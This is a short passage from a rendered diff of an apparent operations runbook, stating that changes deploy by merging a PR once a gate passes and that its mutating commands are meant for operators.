is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
Loaded 100 of 115 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user